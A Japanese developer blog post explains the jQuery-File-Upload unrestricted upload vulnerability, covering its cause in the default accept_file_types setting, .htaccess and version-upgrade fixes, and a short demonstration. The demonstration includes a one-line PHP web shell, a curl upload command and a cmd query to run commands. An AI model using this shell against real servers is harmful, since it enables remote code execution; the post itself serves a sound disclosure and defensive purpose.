こんにちは、開発部の島崎と申します。
今回は、jQuery-File-Uploadで見つかった脆弱性についてご紹介いたします。
jQuery-File-Uploadとは
ファイルアップロードの機能を提供するプラグインです。
ドラッグ&ドロップでアップロードできたり、画像をリサイズしたりと、便利な機能を簡単に導入することができます。
PHPやPython、Goなどでも利用することができるパッケージが用意されており、それぞれのサンプルプログラムも用意されています。
発見された脆弱性
こちらのサイトにて詳細に説明されていますが、ある条件を満たしている場合、あらゆる形式のファイルがアップロードできる状態となっていました。
これにより、例えばシェルスクリプトが書かれたファイルをアップロードし、実行されてしまうという状態であったことがわかりました。
実際に攻撃してみましょう
百聞は一見にしかず、ということで以下のコードが書かれたファイルをアップロードしてみましょう。
// shell.php
<?php $cmd=$_GET['cmd']; system($cmd); ?>
$ curl -F "files=@shell.php" https://XXX/jQuery-File-Upload/server/php/index.php
アップロードが完了したあとは、クエリにコマンドを挿入してみてください。実行されていることができる確認できます。
// http://XXX/jQuery-File-Upload/server/php/files/shell.php?cmd=pwd にアクセス
// 実行結果が表示されます
原因
アップロード可能なファイル形式を指定していない
結果としては、PHPのパッケージに原因がありました。そのソースは以下の通りです。
// index.php
require('UploadHandler.php');
$upload_handler = new UploadHandler();
// UploadHandler.php
class UploadHandler {
// ...... 略 ......
public function __construct($options = null, $initialize = true, $error_messages = null) {
$this->options = array(
// ...... 略 ......
'accept_file_types' => '/.+$/i',
);
}
}
new UploadHandler()でインスタンスを生成する際、引数に$optionsを指定することができます。その中でaccept_file_typesという、アップロードできる拡張子を指定する項目があるのですが、デフォルトではあらゆる形式のファイルを受け付けていました。
つまり、サンプルプログラムにならい、accept_file_typesをデフォルト値で利用している場合に限り、危険な状態にあるのです。
アップロード先でファイルが実行可能となっている
.htaccessを利用することで、ファイルを実行させないようにすることができますが、設定していない場合は危険な状態にあります。
また、Apacheの設定によっては.htaccessが無効になる場合もあるため、注意が必要となります(後述)。
対策
ファイル形式を指定
アップロードを許可するファイル形式を指定することで、悪意のあるファイルのアップロードを防ぐことができます。
※デフォルトで画像ファイルのみ許可するよう変更されました。
'accept_file_types' => '/\.(gif|jpe?g|png)$/i'
.htaccessによる制御
.htaccessでファイルを実行させないようにしましょう。以下の設定が推奨されています。
# ブラウザに表示せずにファイルをダウンロードさせる
setHandler default-handler
ForceType application/octet-stream
Header set Content-Disposition attachment
# 画像ファイルのみブラウザ表示
<FileMatch "(?i)\.(gif|jpe?g|png)$">
ForceType none
header unset Content-Disposition
</FileMatch>
# ファイルの中身をチェックし、Content-Typeを変更してはいけない
Header set X-Content-Type-Options nosniff
<FileMatch>について注意点があります。
<FileMatch>の代わりに以下のように記述している人もいるかと思いますが、それぞれ仕様が異なります(AddHeader用の対策もされています)。
# sample.php.gif もマッチしてしまいます!
AddHeader php5-script .php
# sample.php.gif はマッチしません!
<FileMatch "(?i)\.(gif|jpe?g|png)$">
また、Apache2.3.9以上ではAllowOverrideのデフォルト値がnoneになっています。.htaccessが無効では意味がないので、.htaccessを設置するディレクトリには、適切にAllowOverrideを設定しましょう。
v9.24.1以上にしましょう
上記の脆弱性はv9.24.1以上で修正済みのため、アップデートをおすすめします。
まとめ
今回は、jQuery-File-Uploadの脆弱性について、攻撃方法、原因、対策とともにご説明いたしました。
この脆弱性は1年前から残っていたものだそうです。
先日、Facebookのユーザ情報流出が発覚しましたが、こちらも1年以上前から存在する脆弱性を悪用された事例でした。
過去のリリースによって生まれた脆弱性が存在しないか、定期的に確認することが大事なのですね。
参考
『Remote code execution vulnerabikity in the PHP component』
https://github.com/blueimp/jQuery-File-Upload/commits/master/server/php/UploadHandler.php
『jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability 』
http://www.vapidlabs.com/advisory.php?v=204
共有ありがとうございます。
自分も定期的に脆弱性がないかライブラリ等確認していきます。
バージョンアップは大事なので、定期的にチェックする必要がありますよね